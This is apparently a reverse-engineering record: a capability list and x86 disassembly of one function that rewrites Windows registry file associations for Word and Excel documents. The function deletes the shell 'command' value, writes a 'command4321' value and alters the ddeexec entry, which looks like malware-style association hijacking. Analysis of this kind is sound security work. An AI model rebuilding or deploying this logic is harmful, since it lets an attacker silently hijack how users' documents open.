Function at 0x4127e0
Capabilities:
Delete registry value
Query or enumerate registry value
Resolve function by parsing pe exports
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x4690cb
mov eax, dword fs:[0]
push eax
sub esp, 0x464
mov eax, dword [0x4896a0]
xor eax, esp
mov dword [esp + 0x460], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4896a0]
xor eax, esp
push eax
lea eax, [esp + 0x478]
mov dword fs:[0], eax
call fcn.0042fb43
xor ecx, ecx
xor ebp, ebp
cmp eax, ebp
setne cl
cmp ecx, ebp
jne 0x412837
push 0x80004005
call fcn.00402930
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x18], eax
push 0x3ff
lea ecx, [esp + 0x79]
push ebp
push ecx
mov dword [esp + 0x48c], ebp
mov byte [esp + 0x80], 0
call fcn.00449a70
add esp, 0xc
push str..doc
lea ecx, [esp + 0x64]
mov dword [esp + 0x24], 0x400
call fcn.00403c70
push str..docx
lea ecx, [esp + 0x68]
mov byte [esp + 0x484], 1
call fcn.00403c70
push str..xls
lea ecx, [esp + 0x6c]
mov byte [esp + 0x484], 2
call fcn.00403c70
push str..xlsx
lea ecx, [esp + 0x70]
mov byte [esp + 0x484], 3
call fcn.00403c70
lea edx, [esp + 0x60]
mov byte [esp + 0x480], 4
mov dword [esp + 0x34], ebp
mov dword [esp + 0x28], edx
mov eax, dword [esp + 0x28]
push eax
lea ecx, [esp + 0x1c]
call fcn.004037f0
mov edx, dword [esp + 0x18]
lea ecx, [esp + 0x14]
push ecx
push 0x20019
push ebp
push edx
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebp
mov eax, dword [esp + 0x14]
je 0x412912
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x413024
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x78]
push edx
push ebp
push ebp
push 0x46db5c
push eax
call ebx
mov ecx, dword [esp + 0x14]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ecx
mov esi, eax
call edi
mov dword [esp + 0x14], ebp
cmp esi, ebp
jne 0x413024
push str._shell
lea ecx, [esp + 0x48]
call fcn.00403c70
mov esi, eax
lea edx, [esp + 0x74]
push edx
lea ecx, [esp + 0x3c]
mov byte [esp + 0x484], 5
call fcn.0040e600
push esi
push eax
lea eax, [esp + 0x5c]
push eax
mov byte [esp + 0x48c], 6
call fcn.004052b0
add esp, 0xc
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x484], 7
call fcn.004037f0
mov eax, dword [esp + 0x54]
add eax, 0xfffffff0
mov byte [esp + 0x480], 6
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4129be
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x38]
add eax, 0xfffffff0
mov byte [esp + 0x480], 5
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4129e6
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x44]
add eax, 0xfffffff0
mov byte [esp + 0x480], 4
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412a0e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push 0x400
lea ecx, [esp + 0x78]
push ebp
push ecx
call fcn.00449a70
mov eax, dword [esp + 0x24]
add esp, 0xc
lea edx, [esp + 0x14]
push edx
push 0x20019
push ebp
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [esp + 0x20], 0x400
cmp eax, ebp
jne 0x413024
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x78]
push edx
push ebp
push ebp
push ebp
push eax
call ebx
mov ecx, dword [esp + 0x14]
push ecx
mov esi, eax
call edi
lea edx, [esp + 0x74]
push edx
lea ecx, [esp + 0x74]
mov dword [esp + 0x18], ebp
call fcn.0040e600
mov eax, dword [eax]
push str.Open
push eax
call fcn.0044a83e
add esp, 8
cmp eax, ebp
mov eax, dword [esp + 0x70]
setne bl
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412ab0
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test bl, bl
je 0x412b21
push str.Open
lea ecx, [esp + 0x30]
call fcn.00403c70
mov dword [esp + 0x20], 0x400
cmp esi, ebp
jne 0x412aee
mov eax, dword [esp + 0x2c]
mov ecx, dword [eax - 0xc]
push ecx
mov ecx, dword [esp + 0x18]
push eax
push 1
push ebp
push ebp
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp eax, ebp
jne 0x4130ae
mov edx, dword [esp + 0x14]
push edx
call edi
mov eax, dword [esp + 0x2c]
add eax, 0xfffffff0
mov dword [esp + 0x14], ebp
mov byte [esp + 0x480], 4
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412b21
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push 0x46f0d4
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x54]
push edx
call fcn.004038b0
add esp, 0xc
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x484], 9
call fcn.004037f0
mov eax, dword [esp + 0x4c]
add eax, 0xfffffff0
mov byte [esp + 0x480], 4
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412b72
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push 0x400
lea ecx, [esp + 0x78]
push ebp
push ecx
call fcn.00449a70
mov eax, dword [esp + 0x24]
add esp, 0xc
lea edx, [esp + 0x14]
push edx
push 0x20006
push ebp
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call fcn.0042fb43
xor ecx, ecx
cmp eax, ebp
setne cl
cmp ecx, ebp
je 0x41282d
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
lea edi, [eax + 0x10]
mov dword [esp + 0x1c], edi
push 0x46e8d8
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x64]
push edx
mov byte [esp + 0x48c], 0xa
call fcn.004038b0
mov eax, dword [eax]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
add esp, 0xc
lea ecx, [esp + 0x14]
push ecx
push 0xf003f
push ebp
push eax
push SysReAllocString
call ebx
mov esi, eax
mov eax, dword [esp + 0x5c]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x412c20
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [esp + 0x20], 0x400
cmp esi, ebp
jne 0x412dbf
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x78]
push edx
push ebp
push ebp
push ebp
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [esp + 0x74]
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x412c50
sub eax, edx
push eax
lea ecx, [esp + 0x78]
push ecx
lea ecx, [esp + 0x24]
call fcn.004033c0
mov edi, dword [esp + 0x1c]
cmp dword [edi - 0xc], ebp
jl 0x412dbf
push 0x46f0d0
push edi
call fcn.0044c9aa
add esp, 8
cmp eax, ebp
je 0x412dbf
sub eax, edi
cmp eax, 0xffffffff
je 0x412dbf
push eax
lea edx, [esp + 0x40]
push edx
lea ecx, [esp + 0x24]
call fcn.004035d0
push eax
lea ecx, [esp + 0x20]
mov byte [esp + 0x484], 0xb
call fcn.004037f0
mov eax, dword [esp + 0x3c]
add eax, 0xfffffff0
mov byte [esp + 0x480], 0xa
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412cdf
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov esi, dword [esp + 0x28]
mov eax, dword [esi]
push str..doc
push eax
call fcn.0044a83e
add esp, 8
cmp eax, ebp
sete al
test al, al
jne 0x412d4a
push str..docx
push esi
call fcn.0040e2d0
add esp, 8
test al, al
jne 0x412d4a
push str.___1_
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x48]
push edx
call fcn.004038b0
add esp, 0xc
push eax
lea ecx, [esp + 0x20]
mov byte [esp + 0x484], 0xd
call fcn.004037f0
lea ecx, [esp + 0x40]
mov byte [esp + 0x480], 0xa
call fcn.00402fe0
jmp 0x412d9b
push str.__t__n___1_
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x50]
push ecx
call fcn.004038b0
add esp, 0xc
push eax
lea ecx, [esp + 0x20]
mov byte [esp + 0x484], 0xc
call fcn.004037f0
mov eax, dword [esp + 0x48]
add eax, 0xfffffff0
mov byte [esp + 0x480], 0xa
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x412d9b
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov edi, dword [esp + 0x1c]
mov eax, dword [edi - 0xc]
mov ecx, dword [esp + 0x14]
push eax
push edi
push 1
push ebp
push 0x46db5c
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp eax, ebp
jne 0x413123
mov edx, dword [esp + 0x14]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edx
call esi
push 0x46e8d8
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x2c]
push ecx
mov dword [esp + 0x20], ebp
call fcn.004038b0
push 0x400
lea edx, [esp + 0x84]
push ebp
push edx
mov byte [esp + 0x498], 0xe
call fcn.00449a70
mov ecx, dword [esp + 0x3c]
add esp, 0x18
lea eax, [esp + 0x14]
push eax
push 0xf003f
push ebp
push ecx
push SysReAllocString
call ebx
mov dword [esp + 0x20], 0x400
cmp eax, ebp
jne 0x412eaa
lea edx, [esp + 0x20]
push edx
mov edx, dword [esp + 0x18]
lea eax, [esp + 0x78]
push eax
lea ecx, [esp + 0x58]
push ecx
push ebp
push str.command
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp eax, ebp
jne 0x412eaa
mov eax, dword [esp + 0x14]
push str.command
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
lea ecx, [esp + 0x74]
push ecx
lea ecx, [esp + 0x34]
call fcn.0040e600
mov eax, dword [esp + 0x30]
mov ecx, dword [eax - 0xc]
mov edx, dword [esp + 0x50]
push ecx
push eax
mov eax, dword [esp + 0x1c]
push edx
push ebp
push str.command4321
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp + 0x30]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412eaa
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x14]
push ecx
call esi
push str.ddeexec
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x60]
push eax
mov dword [esp + 0x20], ebp
call fcn.004038b0
add esp, 0xc
push eax
lea ecx, [esp + 0x28]
mov byte [esp + 0x484], 0xf
call fcn.004037f0
mov eax, dword [esp + 0x58]
add eax, 0xfffffff0
mov byte [esp + 0x480], 0xe
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412f06
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
call fcn.0042fb43
xor ecx, ecx
cmp eax, ebp
setne cl
cmp ecx, ebp
je 0x41282d
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
mov ebx, eax
call fcn.0042fb43
xor ecx, ecx
cmp eax, ebp
setne cl
cmp ecx, ebp
je 0x41282d
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
push 0x400
lea ecx, [esp + 0x78]
push ebp
push ecx
mov esi, eax
call fcn.00449a70
mov eax, dword [esp + 0x30]
add esp, 0xc
lea edx, [esp + 0x14]
push edx
push 0xf003f
push ebp
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [esp + 0x20], 0x400
cmp eax, ebp
jne 0x412f93
mov ecx, dword [esp + 0x14]
push ebp
push ebp
push 1
push ebp
push 0x46db5c
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
mov dword [esp + 0x14], ebp
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412fbd
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, ebx
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412fd8
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x24]
add eax, 0xfffffff0
mov byte [esp + 0x480], 0xa
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413000
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea eax, [edi - 0x10]
mov byte [esp + 0x480], 4
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413024
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x34]
add dword [esp + 0x28], 4
inc eax
cmp eax, 4
mov dword [esp + 0x34], eax
jl 0x4128d5
push fcn.00402fe0
push 4
push 4
lea ecx, [esp + 0x6c]
push ecx
mov byte [esp + 0x490], 0
call fcn.0044e0cc
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
mov dword [esp + 0x480], 0xffffffff
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x413081
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, 1
mov ecx, dword [esp + 0x478]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x460]
xor ecx, esp
call fcn.00449ba6
add esp, 0x470
ret
mov eax, dword [esp + 0x2c]
add eax, 0xfffffff0
mov byte [esp + 0x480], 4
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4130d6
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push fcn.00402fe0
push 4
push 4
lea ecx, [esp + 0x6c]
push ecx
mov byte [esp + 0x490], 0
call fcn.0044e0cc
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
mov dword [esp + 0x480], 0xffffffff
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x41311c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
xor eax, eax
jmp 0x413086
lea eax, [edi - 0x10]
mov byte [esp + 0x480], 4
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413147
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push fcn.00402fe0
push 4
push 4
lea ecx, [esp + 0x6c]
push ecx
mov byte [esp + 0x490], 0
call fcn.0044e0cc
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
mov dword [esp + 0x480], 0xffffffff
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x41311c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
xor eax, eax
jmp 0x413086